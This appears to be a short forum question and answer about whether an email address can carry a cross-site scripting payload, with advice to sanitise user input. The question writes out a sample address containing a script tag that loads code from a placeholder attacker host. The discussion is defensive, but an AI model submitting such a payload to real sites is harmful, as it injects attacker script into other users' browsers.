Are XSS attacks possible through email addresses?

问题:

I wonder whether an email address can be used for XSS attacks.

Let's suppose there is a website where one can register and gives his email address. If one wants to attack the given website, he or she might create an email address, such as this one:

"<script src=//my.evil.site/is/attacking/u.js></script>"@stmpname.com

and then use this email address to attack the website.

Is quote or script tag allowed in an email address?

回答1:

The email address in your example appears valid. The only character that is unusual is the quote " -- rest others are valid.

Wikipedia suggests that the email address you specified is valid.

You need to ensure that arbitrary user input is sanitized before being rendered.

To begin with, you might want to refer to information about XSS and prevention available at OWASP.